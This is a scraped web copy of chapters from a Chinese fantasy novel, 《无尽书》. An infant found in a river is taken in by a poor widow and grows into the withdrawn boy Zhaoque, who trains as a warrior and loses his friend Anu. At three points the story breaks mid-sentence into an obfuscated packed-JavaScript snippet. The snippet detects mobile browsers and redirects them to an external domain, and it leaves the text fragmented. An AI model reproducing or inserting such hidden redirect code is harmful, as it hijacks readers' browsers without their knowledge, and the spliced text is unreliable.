《无尽书》 2. 序章·二 浑浊的洪水在冲出源头区域后,逐渐褪去了暴戾的土黄色,显露出几分疲惫的清澈。它蜿蜒着穿过愈发开阔的谷地,两岸不再是高耸入云的原始密林,而是稀疏了些的次生林带,间或夹杂着大片长满低矮灌木和坚硬苔草的缓坡。 这里是归川中游偏下的支流流域之一,距离苍狩族世代居住的平原已不算太远。 午后的阳光带着初秋特有的干燥,斜斜地泼洒在河面上,将潺潺的流水切割成无数跳跃的金鳞。岸边的水草被晒得有些蔫吧,几处浅滩裸露着被水流磨得光滑的卵石,一切看起来都是那么平静祥和。 一支小队正在苍狩族最靠近归川支流的东边巡逻。 三人皆是族中精英的猎手,腰间挂着骨刀与硬木长弓,步伐沉稳有力。此刻,为首的壮硕男人正眯着眼,专注地扫视着河面与岸边的动静。 “算算时间,东边的绒鹿群该迁徙过来了。”跟在领头男人身后的年轻猎人兴致勃勃地说,“今年说不定能多猎到几——” 他的话音戛然而止。 前方的河湾处,水流被几块高出水面的巨石阻隔,形成一片平缓的浅滩。而在那浅滩边缘,一团奇异的光晕正随着水波轻轻浮动。 男人顺着年轻人的视线看去也怔了一下,他随即立马抬手示意噤声,缓缓抽出腰间的骨刀,谨慎地向前靠近。然而当他们看清浅水滩中那个东西后,不由又都愣了一下。 那团光晕并非幻觉,而是一层真实存在的水膜,包裹着一个襁褓中的婴儿。 水膜晶莹剔透,在阳光下流转着微光,将婴儿与河水温柔地隔开。婴儿安静地闭着眼睛,乌黑的胎发在水中微微飘散,小小的手指蜷缩着,仿佛仍在沉睡。 “这、这他娘的是什么东西?!”身后年轻人的话音里不自觉地带上了诧异。他长那么大也没见过这样的奇异东西,里面还装了个小孩,这更是闻所未闻! 领头的男人没有立即回答。他盯着那团水膜,又抬头望向河流上游的方向——那里通往归川的主流,更远处是传说中神秘的源头树林。作为待在族长身边的人,他不止一次听族里那位年老的萨满长老念叨有关这条河的神秘。 “上游漂下来的……”男人低声自语,粗糙的手指不自觉地摩挲着骨刀的刀柄,眉头紧锁。这水膜绝非自然形成,更不可能是人为。 可能在湍急的河水中保护一个婴儿安然无恙地漂流这么远么…… 他想起族中萨满长老经常说道的,年轻外出游历时曾在接近归川源头树林边缘的地方见过那有人活动的踪迹。 男人自己不是跳大神的,一时也理不清楚这些,却不由猜测这个孩子或许就是萨满长老说的那地方来的。 水膜在阳光下泛着光泽,婴儿的胸口随着呼吸微微起伏。男人的目光从怀疑逐渐转为敬畏,不管这孩子来自哪里,可既然能受到这样的保护,必定非同寻常。 最重要的是,他偏偏漂到了苍狩族的领地。有些事,宁可信其有也不可信其无。 “这不是寻常的孩子。”男人像是下定了决心,半晌后终于开口,声音低沉而笃定。 他收起骨刀,缓缓涉入浅滩。河水没过他的小腿,带来一阵清凉,他伸出手,指尖小心翼翼地触碰那层流动的屏障。 水膜无声地消散,化作几缕水汽融入了归川。婴儿轻轻一晃,男人立即将他稳稳托起。 被惊动的婴儿睁开眼。他乌黑的眼瞳纯净透亮,一眨不眨地静静望着眼前的人,不哭也不闹。 “回族里。”领头男人对上孩子的眼睛呆了一下,仿佛这双眼睛有什么灵性。等回过神他又立马用皮袄将婴儿裹紧,声音低沉而郑重,“即刻禀报族长。” …… 苍狩族的聚居地坐落在归川中下游的一条支流冲击形成的广袤平原上。这片土地三面环山,东侧是奔腾的归川主流,西侧则延伸出数条细小的支流,像巨树的根系般滋养着这个平原,是块不可多得的沃土。 平原中央隆起一座低矮的小山丘,苍狩族的帐篷群就是以此处为原点,向外圈蔓延。 在山丘的最高处,一座比大多普通帐篷大出好几倍的白色兽皮大帐格外醒目。帐顶悬挂着七串由猛兽牙齿制成的风铃,在秋风中叮咚作响。 这是苍狩族族长阿旦暮的居所。此刻,帐内正飘散着祭祀送来的的白檀香气,萨满长老佝偻着背盘坐在火塘旁,用骨刀在龟甲上刻画着新的占卜纹路。 两人身边还跪坐着一个年轻貌美的女人。这是族长的第三个女人,长相很出众,名叫水芝。她正在摆弄一旁炉子上蒸着的羊奶,四岁的儿子既云趴在她脚边玩着几块彩色的石子。 “今年的秋祭,兴许要下雨。”萨满长老沙哑的声音在帐内回荡。 阿旦暮盘坐在主位上,刚毅的面容在跳动的火光中忽明忽暗。这位正值壮年的族长身披一件完整的雪狼皮,粗壮的手臂上缠绕着象征身份的皮革环套。他正要回应萨满长老的话,帐外突然传来急促的脚步声。 “族长!”一个男人的声音突然从帐外传来,带着激动,“我们在河边发现了——” 紧接着帐帘被猛地掀开,年轻人的身影出现在门口,还带进来一阵风。他神色有些仓促,怀中却小心翼翼地抱着一个用皮袄包裹的襁褓。 来人正是刚才的石岩。他着急忙慌地单膝在族长面前单膝跪下,将襁褓微微托起而后接上刚才的半句话:“从归川上游方向漂来的一个孩子,被水膜包裹着,正好漂到我们的河段。” 萨满长老手中的骨刀突然掉在地上,发出清脆的响声。他突然坐了起来,枯瘦的手指颤抖着指向襁褓:“快让我看看!” 襁褓中的婴儿被一群陌生的人打量着却出奇地安静,还是眼睛一眨一眨地,那瞳孔黑得纯粹,却又亮得惊人。 萨满长老枯瘦的手指颤抖着想要触碰婴儿却又不敢:“归川在上……这、这一定是祂的恩赐啊!” 他转向阿旦暮,声音嘶哑地重复着:“族长,我活了七十多年,从未听闻这样的事情。这、这孩子必定是归川的恩赐!” 从阿旦暮年幼有记忆时起,萨满长老就已经是族里的祭祀了,占卜祭祀等相关事宜也都是他在操持。只是老东西年纪大了,平日里难免有点神神叨叨的,脾气也古怪,对阿旦暮这个族长也是指使为多。 但除了每年在圣石前祭祀时,他很少见萨满长老如此诚惶诚恐的摸样,于是不由也正色了几分。 原本趴在一边的既云已经不知何时凑到了萨满长老身旁,他好奇地盯着老头怀里的婴儿看了一会儿,伸手碰了碰婴儿的脸颊。令人惊讶的是,原本一直安静的婴儿竟然忽然有了反应,伸出小手抓住了既云的手指。 “呀!”既云小小地吃了一惊,下意识地想收回手,又怕自己动作太大会吓到这个小宝宝,于是只是小幅度地瑟缩了一下。 谁知下一秒小东西就抓着他的手指塞进了嘴里吮了起来。指尖传来痒意,既云没忍住轻轻笑了起来。 萨满长老依旧目光灼灼地瞪着这个孩子看,像是在看什么稀世之宝,却不说话。 老东西看着疯疯癫癫不大正常,实际心里精明得很,这会儿不说话就是等着阿旦暮顺着他的意思作出决定。阿旦暮自然也清楚他就是要自己下令把这个孩子收进族里,但这不是容易的事。 阿旦暮摩挲着下巴上新冒出的胡茬,目光在婴儿与萨满长老之间来回游移。作为族长,他比任何人都清楚这个世界的生存法则。 这片土地上没人热衷于做慈善。资源有限,因而只有强者才能拥有丰盛的食物、温暖的帐篷。 即便是在苍狩族这样富足稳定的大族群中,那些失去狩猎能力的老弱病残或者妇孺,也只能蜷缩在部落最边缘的地方,靠着每月微薄的分配勉强过活。 没有人会无缘无故收养一个孩子,还是来历不明的弃婴——哪怕他真的是萨满嘴里所谓归川送来的“神赐”。 而阿旦暮自己和族中别的那些长老们,更不可能会接受抚养一个外来的孩子,他们的子嗣将来要继承部落的权柄,必然得是族里纯种的血脉,绝不能混入任何不确定的因素。 “萨满长老,”阿旦暮沉声开口,“您活得比我久,应该清楚族里是不养闲人的。” 他的目光扫过婴儿细弱的手脚:“这么小的崽子,至少要白吃白喝六七年才能派上用场。再说了,也得族里有人愿意白白供他这么些年才行得通。” 言下之意,不是他阿旦暮不敬归川,只是这实在是没办法的事情。 萨满长老猛地抬头,浑浊的眼睛里闪过一丝锐利。随即他又低下头表现出了一副油盐不进的样子,开始自顾自地低声念叨着什么东西。 阿旦暮扫视了一圈帐内的人。水芝站在一旁,欲言又止,而石岩和帐内另外几个战士都低着头,也不敢插话。 既云的手指已经收回来了,他猜测这个孩子应该是饿了,觉得有点可怜。他虽然才四岁,但也从大人们交谈的态度里感觉到了一点不和谐,于是仰头看向父亲,小声问:“阿爸,他、他要怎么办?” 阿旦暮闻言看了自己的第二个儿子一眼,虽然现在还小,但俗话说三岁看老。他觉得这小子的性子里已经有了优柔寡断的苗头,胆子也不大,同自己那已经死了的软骨头老爹有几分相似。尤其是和他第一个女人生的大儿子一比较,更显得这个次子胆小软弱,故而本就不偏爱。 加上萨满长老那副“你今日不答应也得答应”的破罐子破摔态度,阿旦暮难免觉得自己作为族长的威严受到了挑战,心里立马涌上了股无名火。 “带着他出去。”他不耐烦地冲水芝喊道。 水芝惊了一下,连忙拉着既云出去了。周围其他的人也都吓得大气不敢出。但是萨满长老却完全不为所动,照样嘴里念念有词的。 阿旦暮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瘦小男人抱着婴儿匆匆离去,看见水芝牵着既云站在帐外,于是恭敬地冲他们低头:“三夫人好,二少好。” 水芝点点头,没说话。男孩则眼巴巴地看着那个被抱走的襁褓,小声问:“阿妈,他们要把他送到哪里去呀?” 年轻的母亲望着男人离开的方向,直到那瘦小的身影逐渐消失。 暮色四合,归川的水声隐约可闻。 她最后没有回答孩子的话:“跟阿妈回去罢。” …… 男人抱着襁褓穿过东边那条泥泞的小路,来到最东边那顶孤零零的帐篷前。帐顶的兽皮已经补了又补,被风吹得簌簌作响。他掀开帘子时,那个名叫骊珠的女人正跪坐在火塘边,用骨针缝补一件破旧的皮袄。 “阿婶,”那男人轻声叫道,“族长托我给你送了个孩子来。” 骊珠闻言猛地抬头,那双常年暗淡的眼睛似乎闪烁了一下,像是有人往一滩死水里扔了块烧红的炭。她扔下手上的东西踉跄着站起来,双手在粗布裙子上擦了又擦,才颤抖着从男人手中接过襁褓。 待看清婴儿面容的瞬间,这个瘦得颧骨凸出的女人脸上突然焕发出了光彩。她灰黄的脸颊涌上血色,干裂的嘴唇哆嗦着,却说不出一句话。 婴儿乌黑的瞳仁映着帐子里跳动的火光,竟显出几分鎏金般的华彩。只是他确实已饿了许久,就算再乖巧也终于还是本能地发出一些不大美妙的声音。 可骊珠听着这声音却觉得自己的血液似乎飞速地流动了起来,变得滚烫。她全部的心神都沉浸在怀中的温暖里,手指轻轻抚过婴儿的脸颊——这么软,这么热,像刚出炉子的黍米糕一样。 一边的瘦小男人还在絮絮叨叨地说什么“归川”“福赐”之类的词眼,可骊珠却一个字也没听。她沉浸在极大地欢欣里无法自拔,颤颤巍巍地自言自语着:“他是不是饿了,我、我得去他们那讨点羊奶来。” 她忽视了男人,说着准备出门,又忽然问道:“他、他有名字么?” 瘦小的男人也没了兴致,撇了撇嘴:“族长哪会费这个心?” 骊珠抱着婴儿的手突然收紧了一瞬。她没再多说什么,只是用破旧的皮袄将孩子裹紧,转身就要往帐外走。 “去讨些羊奶……”她喃喃自语,干裂的嘴唇因为激动而微微发抖。 男人见状也不再管了,掀开帐帘径自离开。夜风趁机钻了进来,吹得火塘火星四溅。 骊珠在帐门口顿了顿。东边是族里离归川水流最近的地方,此刻她能清晰地听到河水“哗啦哗啦”流动的声音。她低头看了看怀中的婴儿,决定明日带他去族里有见识的人那里讨个名字来。 她于是迎着夜风,走向远处亮着灯火的帐篷。女人的背影在月光下显得格外单薄,却又莫名透着一股韧劲。 归川的水流声在她身后渐渐远去,又似乎始终如影随形。 3. 序章·三 已是初夏时节,早晨的阳光不再像春日时那样温柔,而是带着几分灼热的力度,将河面映照得波光粼粼。 风从南边过来,裹挟着归川的水汽,拂过岸边的芦苇,发出沙沙的轻响。河水比春日时涨高了几分,水流也变得更加湍急,冲刷着岸边的卵石。 岸边,一个约莫十岁大的男孩静坐着,乌黑的眸子里倒映着粼粼的波光。 男孩和族里众多孩子一样留着长头发,但替他打理的人大约是个能干的,虽然一直没修剪过,瞧起来却不显邋遢。 他额前的碎发被扎成了几根细小的辫子,用草绳缠绕着系住,和后边的头发一块儿松松垮垮地绑在脑后,只有垂落的几根发丝随着风轻轻晃动。 男孩的皮肤白得有些异常,不似寻常孩子的莹润光泽,反倒透着几分缺乏生气的苍白,只是衬得他那双眼睛愈发黑亮幽深。 他年岁尚小,眉眼间却已能窥见几分未来的清俊轮廓,尤其是那微微上翘的睫毛,像两把小扇,垂着时便在眼睑下投下一片浅阴影,更添几分秀气。 男孩一动不动地坐着,指尖无意识地抠着身边草地里的泥土。他今日一大早就醒来了,已经独自一人在河道边上坐着看了许久。 眼前的支流明明也是清澈的,却又和梦里总是会看到的那条河不一样。水流的速度、水底的气息,又或者是河面泛起的波纹,这些都有所差异。 相比之下,似乎脑海中那些断断续续的零碎画面里,拼凑出的是一条更加平静深邃又汹涌宽阔的河流。 也许它们根本不是同一条河呢。毕竟男孩从来没有离开过这片平原,也想不出族外的世界会是怎样的一番天地。 反正每次这种时候醒来,他的胸口似乎总是会泛起一阵莫名的悸动。而他后来长大一些发现,似乎这些略带一点光怪陆离又含糊不清的梦还有那莫名其妙的心悸,别人确实是感受不到的。于是他也有犹疑,自己难不成天生有什么与众不同的地方么? 他曾试探地问过阿妈,问过偶尔来河边打水的其他族人,可他们都说归川和平常没什么两样。 阿妈还说她从来不知道人睡着了做梦还会有这样的事发生。可她又说不准是因为他原本就不是这里的人,还是他从出生起就是带着什么先天毛病来的。 总之不管哪个,都不算好。阿妈总是唉声叹气。于是渐渐地,男孩也不再提起这些事,只是常常一个人坐在河边,静静地看或是听,试图理解那些只有他能感知到的不一样。 但这是对阿妈来说的。在男孩自己看来么,两个似乎都没什么大不了的。总之他现在活着,活得也很好就是了。 男孩的家住在苍狩族的最东边,是离归川的支流最近的地方,但已经有些远离中心平原地带,反倒是更加接近周边的次生丛林,周围长了不少树。 这边住的人不算多,但大多都是些老人和女人,连小孩也不多。但这里每周都会有带着刀的人定期来巡逻——不过他们不是来查老人女人的聚集地的,而是来查边缘的丛林还有边上一块很大的但是并没什么异乎寻常的石头。 偏偏这块在他看来除了大就没什么别的不寻常的石头,却是苍狩族的祭祀圣石。也正因如此,每年春祭和秋祭时所有族人们都会过来这里,看一个打扮得花枝招展的老头跳大神,再念点什么乱七八糟的东西。 说起来这个穿的人不人鬼不鬼的老头偶尔还会来男孩家里,但都是和阿妈交谈,只是每次看到他时眼里会流露出一种奇怪的情感,好像男孩欠了他什么似的。 阿妈说这是“萨满长老”,是来看他的。男孩不解,也看不懂他的眼神,只知道阿妈还有其他的族人们似乎都对他很尊敬。 总之每年春秋祭祀那时候,就是他们东边每年最热闹的两个时间段了。 当然男孩本身对“热闹”这个东西没什么特别的向往,对他来说大概也只是家门口人变多了,变吵了。他看的是那些腰间挂着刀和弓弩的高大男人。 此事还得追溯到更早些时候,大约是他还要更小几岁的时候。 那是一个深秋的傍晚,夕阳将归川的水面染成血色。 男孩像往常一样蹲在自家帐篷后的老梨树下玩石子。那是他第一次见到苍狩族里巡逻的汉子——透过枝叶的缝隙,男孩远远望见了三个男人从林边走过,他们个个腰间都挂着长长的骨刀。 就在他好奇地打量他们时,灌木丛突然剧烈晃动起来,一头体型硕大的野猪猛地窜出,獠牙上还挂着新鲜的泥土。它红着眼,鼻息粗重,显然是受了惊。 男孩的心一下子提到了嗓子眼。他明明离他们很远,可还是不由自主地害怕了起来。 那三个高大的男人立即散开,呈三角之势将野猪围住。野猪率先冲向最左侧的男人,那人却不慌不忙,侧身一闪,手中骨刀顺势劈下,在野猪背上划开一道血口。 野猪在吃痛的瞬间立马调转方向,又横冲直撞地朝中间的战士撞去。只见中间那人低喝一声,双手握刀,迎着野猪的冲势狠狠刺出—— 刀尖一下子卡进了野猪的肩胛骨里。 野猪发狂般甩头,将那人连人带刀甩出几步远,后背猛得撞在了身后的一棵大树上。男孩吓得倒吸一口凉气,后背也开始没由来地作痛,仿佛被甩到树干上的人是他自己一样。 而右侧的战士却抓住了机会。他一个箭步上前,骨刀精准地捅进野猪的脖颈,鲜血顿时喷涌而出。野猪嘶吼着挣扎,另外两人立刻扑上,三把骨刀同时发力,终于将这头猛兽彻底放倒。 男孩看得忘了呼吸,直到野猪不再动弹,他才惊觉自己不知何时已经被吓得翻坐在地上,正大口大口地喘着粗气。他的手心、脑门上全是汗,背部的衣服更是已经被汗水浸湿了。 他再次望向野猪的方向,看见那三个战士已经用骨刀利落地割开了野猪的喉咙放血。他们动作熟练得像是早已做过了千百遍,三两下便将那野猪的血放了个干净,而后离开。 那么他呢? 男孩低头看了看自己的手——细瘦、苍白,连握紧树枝都会磨出印子。如果方才站在野猪面前的是他,怕是连一个呼吸的间隙都撑不过去,就会被那发疯的猛兽獠牙刺穿肚子,再像块破布一样被甩出去。 他是听说过族里那些被野兽伤过的人的。 去年冬天,住在他家边上的一个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305291|182802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被山豹抓伤了腿,伤口溃烂发臭,后来干脆整条腿都锯掉了。但阿妈怕他吓到,没带他去看,总之这个男人现在在外面只能拄着拐杖一瘸一拐地走路。 还有阿妈说过,阿爸就是被这种野猪杀死的,当初被人抬回来时,肠子都拖在了地上。 阿妈说起阿爸的时候总是很伤心,好像变了个人,不像平常对他那般温柔了。之后阿妈又开始和他说不能去离林子太近的地方——他知道,阿妈是怕他也和阿爸一样离开她。 他舍不得叫阿妈伤心地掉眼泪,所以他只在家门口还有河边玩。 这虽然只是男孩第一次亲眼看见大家嘴里说的“野兽”的真容,可他却直观地感受到了他们的凶猛和恐怖力量。哪怕只是远观,带给他的震撼也并不比切身体会差多少。 他似乎一下子能想出那个瘸腿男人和阿爸为什么会栽在他们手上了。 死亡离得这样近,而活着的人,要么像这些战士一样强大,要么就像他、像东边那些老人和女人一样,躲在集聚地,祈祷野兽们不会无故跑出林子。 不然就该残了或者死了吧。 可他以前从未真正意识到自己和阿妈过得实际是这样提心吊胆的日子。明明住在中心的那些人也知道东边靠近林子容易出现意外,明明这里也居住了不少人,难道是因为这些人的命不如平原中心帐子里的人命值钱吗? 好像就算哪天东边的人全都遭遇不测死了,也不会有人觉得惋惜。 男孩在意识到这一点的那一刻,心里忽然间油然而生了一种奇异的不甘心。他生活在一个资源丰富的强大族群,可同一片土地上不同的人过得却是截然不同的生活。 他突然觉得,他不想要这样。 他想要的是也能像那三个男人一样握住真正的武器,想要手臂上也有那样结实强壮的肌肉,想要在危险来临之际不是只能坐以待毙,而也能像这些战士一样,稳稳地挡在别人身前,把刀刺进野兽的喉咙。 只是现在,他连刀都还没碰过——阿妈知道了会怎么想呢? 男孩抿紧了嘴唇,胸口像是压了块石头,又沉又闷。他盯着战士们扛着野猪离去的背影,直到他们消失在暮色里,才慢慢从树后走了过去。 地上还留着野猪挣扎时刨出的土坑和血迹。他蹲下身,用手指沾了沾尚未干涸的血,温热的,带着腥气。 从那以后,他总会偷偷溜到南边的训练场,看族里的少年们练习。他们挥刀的动作,刺出的角度,甚至是如何在沙地上稳住下盘的细节,他都默默记在心里。回家后,他就用树枝当刀,在无人的空地上一遍遍模仿那些动作。 阿妈发现后,并没有责备他,只是在一个清晨,默默将一把用硬木削成的小刀放在了他的枕边。 “想学,就光明正大地学。”她粗糙的手摸了摸他的头发,“阿妈去多换点好东西,求求萨满长老,也送你去南边练。” 那一刻男孩握紧了手中的木刀,第一次感到胸腔里似乎有什么东西在燃烧。阿妈从不骗人,所以从那天以后,他再也不用躲在场外偷学了。 “昭鹊!”一道清脆的女声突然从身后传来,打破了河边的寂静。 4.序章·四 昭鹊闻声将自己从飘远的思绪里抽离,但他没有回头,只是微微侧了侧脸,示意自己听到了。 轻快的脚步声由远及近,最终停在他身旁。来者是个十五六岁大的女孩,她皮肤不黑也不白,一双眼睛亮得像星星,笑起来时嘴角会露出两颗尖尖的小虎牙。 女孩儿的家里人给她取名叫阿努,在苍狩族的话里是“安宁、安静的女子”的意思,可她的性子却与名字截然相反,跳脱得像只永远停不下来的小山雀。 “大清早的,你怎么又一个人坐在这儿呢?”阿努蹲下身,歪着头打量昭鹊,“你阿妈找你半天了,她叫我给你带了早食,等会儿不是还要去训练场吗?” 阿努早就习惯了他的沉闷不爱说话的性子,也不在意,一屁股坐到他旁边,歪着头打量他:“你又在看归川?这条河有什么好看的?天天都是这样。” 昭鹊没有回答。对他来说,归川从来都不是“这样”的。他偶尔能感觉到河水的一些细微变化,这些对旁人来说无法察觉的,对他来说却像一根细小的刺扎在心里,是无法忽视的。 阿努早见惯了他这副不唉搭话的模样,也不着急,反从怀里掏出一块用树叶包裹的黍米糕,掰成两半,递了一半给他:“喏,你阿妈让我带给你的。” 昭鹊接过黍米糕,小小地咬了一口。甜糯的滋味在舌尖化开,让他紧绷的神经稍稍放松了一些。 “你昨晚又做梦了?”阿努突然问道。 昭鹊的动作顿了一下,抬眼看向她。 阿努耸耸肩,换了一副口吻:“你小的时候不是和我说过这些事情吗?我怎么说也比你大了好多岁,这都发现好几次了!” 昭鹊垂下眼睫,默认了她的话。 阿努对这个反应很满意,于是凑近了些,压低声音道:“你说说,这次梦见什么了?总不能还是梦到那条奇怪的河吧?” 昭鹊微微点头。 阿努鼓了鼓嘴,一副想不通的样子:“真奇怪,你怎么老梦到河?我和你这么大的时候做梦都是梦见追兔子,或者偷跑到林子里被我阿爷抓回来了……” 昭鹊听着这位“安宁的女子”不以为意地发表着一些并不“安宁”的言论忽然觉得有些无奈,不知自己刚刚是抽了什么风,居然有一瞬以为别人也感受到那些东西了。 “……你才多大啊就老是这样,我说的这些难道不比你每次一个人待在这里强吗?!人活着干嘛老是要想那么多事?” 昭鹊虽然心里有点失落,但还是认真地听阿努把话讲完才摇了摇头,轻声道:“我想再坐一会儿。” 他的声音轻得几乎听不见,但阿努还是捕捉到了。她撇撇嘴,故作老成地叹了口气:“行吧行吧,那你记得等会儿自己去南边,别让你阿妈担心。” 说完,她站起身,拍了拍裙子上的草屑,又蹦蹦跳跳地跑开了。 昭鹊听着阿努的脚步声逐渐远去,直到彻底消失。微风拂过,吹散了他额前的碎发,也带走了阿努留下的片刻热闹。他抬起手,轻轻按在胸口,仿佛这样就能压下那些没有由头的思绪了。 …… 几年的光景眨眼间便过去了。 这年秋天的归川支流比往日更加湍急,河水裹挟着枯黄的落叶,打着旋儿向下游漂去。岸边的芦苇已经干枯,在风中簌簌作响,像是低声的呜咽。 傍晚时分天色阴沉,厚重的云层压得很低,仿佛随时会坠下来。 昭鹊依旧如以前一样坐在在河边。 自从阿努嫁去西边,他已经很久没见过她了。东边的河岸也再没响起过她那跳脱的脚步声和欢快的笑声。于是偶尔,昭鹊也会突然想起这个比自己大几岁的女孩,总爱说的那些不着边际的话。 日子总是过的很快,阿努又比昭鹊大了四五岁。哪怕她确实已经成年了,在昭鹊的认知里也还觉得她只是个长高了的女孩。不过阿努的阿爷还是在她刚成年后没多久就找人说了亲事。 阿努嫁去了西边,那里是这片平原的中心地带,东边的族人们说族长、长老还有许多厉害人物都住在那边。但这些都是昭鹊听别人说的,他只知道,这一年里,阿努没有回来过。 然而此刻,脚步声却忽然从身后传来。疑是故人归来,又不似记忆中那般轻快,反而带着几分迟疑。 昭鹊猛地回头,却看见一个女、人站在几步之外。 他愣住了。 眼前的这个不再能用女孩描述的人无论是身形还是样貌都和昭鹊印象里的阿努大致重合,分明就是她,又完全不是她。 是因为她微微佝偻的背,原本健康的肤色变得暗黄,还是那双总是亮晶晶的眼睛如今黯淡无光,眼下还带着淡淡的青黑呢? 昭鹊有些错愕地望着她,心中已能地生出一种不好的猜测。 阿努看见他转了过来,笑了一下。可她笑起来的时候嘴角却再不见那两颗俏皮的小虎牙,只是轻轻扯动嘴角。 “昭鹊。”她轻声唤道,声音细弱得几乎要被河水声盖过。 昭鹊听得清清楚楚,一下子从地上爬了起来,可看着她又不知该说什么。明明阿努出嫁这一年,他时常会想念她。可他却从未想过再见面时会是这般模样,这不是他期盼的重逢。 “你……”他憋了半天,心里想了许多话,到了嘴边又说不出口,最后只是问道,“生病了么?” 阿努摇摇头,在他身旁坐下。她身上飘来淡淡的药草味,混着一丝若有若无的血腥气。她的目光落在远处的长河上,摇了摇头轻描淡写地开口道:“你怎么偷偷长高了好多,居然超过我了。” 昭鹊听出她调笑的意味,心里却漫起一阵无名的酸涩感,一时竟不知该如何接话。 他跟着在原位置上坐下,偷偷打量着阿努的侧脸,发现她颧骨凸出得厉害,手腕更是细得仿佛一折就断,交叠的双手上还有几道未愈的伤痕。 “训练辛苦吗?”阿努还是像过去一样,他不答她便接着往下说。 昭鹊摇了摇头,想说点什么,但只是打了打腹稿,便觉得有些别扭。他觉得这种时候他应该说自己现在变得很厉害了,比很多年长的人都要厉害,如果阿努受了什么委屈,他可以保护她之类的话。 但大约还是性格的缘故,昭鹊从小到大话少冷淡惯了,连对阿妈都说不出这样的话,更别说对阿努了。可他又觉得今天这种情况他应该是要说点什么的。 只是没等他斟酌好,阿努已经重新站了起来:“我就是想来看看你,现在要回去了。” 昭鹊一下子着了急,跟着起身,却发现自己还是没法说出什么挽留抑或关心的话。于是在阿努即将离去的那一刻,他慌不择路地一把拉住了她的手腕。 “阿……” “努”字在他嘴边打了个转被咽了回去,昭鹊忽然想起自己似乎总是直接叫阿努的名字,明明她比他大了好几岁。 于是他临时改口,艰难地组织语言:“……阿姐——你在西边过得、好么?” 阿努在这一瞬忽然怔了怔,眼中闪过一丝昭鹊看不懂的情绪,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他过去以为这样就能保护想保护的人,可阿努却还是离开了他。在一个雪夜,一个无人知晓的角落,就这样悄无声息地消失了。他们却把她的性命当作饭后消遣的话题。 生命原来这样脆弱,又这样渺小。无论在什么东西面前。 昭鹊回想阿起努出嫁前的样子,想起她总是笑着喊他的名字,想起她偷偷塞给他的野果子。那时候的她鲜活得像林间的小动物,可如今却已成了一具冰冷的尸体,被草草丢弃在某个他不知道的地方。 他又能做什么? 他甚至连她最后一面都没见到。 寒风吹过河面,薄冰发出细微的碎裂声。昭鹊忽然觉得,这世道似乎总是这样不讲道理。强者可以随意践踏弱者,而弱者却连挣扎的机会都没有。 阿努是这样,东边那些死在野兽口中的人是这样,就连他自己,如果不是幸运地被阿妈收养,或许也早就饿死了。 可若是连在乎的人都护不住,那么这些年他所追求的东西又是为了什么呢? 昭鹊缓缓蹲坐在地上,骨刀深深地插入了冰冷干冻的泥土里。身后传来熟悉的脚步声,他知道,那是阿妈来了。 骊珠裹着破旧的皮袄,手里提着一盏小小的油灯,昏黄的光映着她眼角的细纹。 “回家吧,”她轻声说,“天黑了,外边太冷。” 昭鹊抬起头,看着这个养育他的女人。她的背已经有些佝偻,可眼神依然温柔。 一瞬间,他稍微清醒过来一些。生命短暂如风中烛火,正因如此,活着的人才更要紧紧抓住那些微弱的光。 他站起身,最后看了一眼阿努曾经离去的方向,然后转身走向骊珠。 油灯的火光在黑暗中摇曳,照出一小段前路。 5.卷一·一 这年春祭前夕,既云已二十有一,昭鹊距成年还差三载。 天还未全亮,南边的训练场上已传来骨刀相击的脆响。 昭鹊站在场边沉默地看着,像一柄尚且藏在鞘中的新刃,锋利又安静。十七岁的少年已经长开,身形也变得愈发修长,如一株新抽的青竹,裹着训练场惯用的粗麻短衫。 他的头发又长长了好多,却还是和以前一样松松地束在脑后,额前几缕碎发被风拂动,偶尔扫过那双微微上挑的眼睛。他的双眼生得漂亮,眼神里却含着警觉,反倒多了几分冷意。 五年前,他第一次来到这片沙地上时,便是最轻的训练骨刀都举不稳。彼时他才十岁,还比同龄孩子矮半个头,细瘦的手腕更是仿佛一折就断。 当初听说他是东边来的,场上的少年们、男人们都哄笑成一团。后来还给他取了个花名,叫“豆芽菜”。 叫什么都无所谓,昭鹊觉得自己反正是来学本事的,别的一概都无关紧要了。 苍狩族的规矩简单却残酷。每四年一次大比,所有满了十二岁的适龄者必须上场比试历练。输了就继续等待下一个四年,赢了则能成为真正的战士,获得佩骨刀、入狩猎队的资格。 没人会因为年纪小、体格弱而手下留情。 苍狩一族向来以勇武强悍闻名,能被送入这片训练场的男孩,个个都非寻常之辈。寻常到了十二三岁的年纪,身量便开始猛蹿,有的甚至开始显露出几分壮硕模样。即便如此,多数人也要在场上蹉跎四五个春秋,才能摸着些门道。最终能被选中的,也多是些年长力强者。 只是沙场里也有传言,原先定下的参选年纪原是十四岁。后来有一代族长为了磨砺血性,硬是将参选之期往前挪了两年。这几十年年下来,虽在这个年纪便能脱颖而出的寥寥可数,却也真真切切出过几个天赋异禀的佼佼者,倒也不负当年族长的一番苦心。 偏生昭鹊不是这平原上土生土长的娃。他既无前人那般天纵奇才,也未得命运垂青。入营不过一年半载,恰逢头一个四年之期,他恰满十二岁。 这般境遇,结局早已分明。 说起来那次昭鹊又没能免去被之前那群人嘲笑一番。只是昭鹊心里藏着路,自然不大在乎。 但若说他生来心胸豁达,对此等事素来不萦于怀,倒也不是。他其实不懂这有什么可笑的,明明他们之中有比他年长的,强壮的,不也照样困在这训练场里,没本事出去嘛。 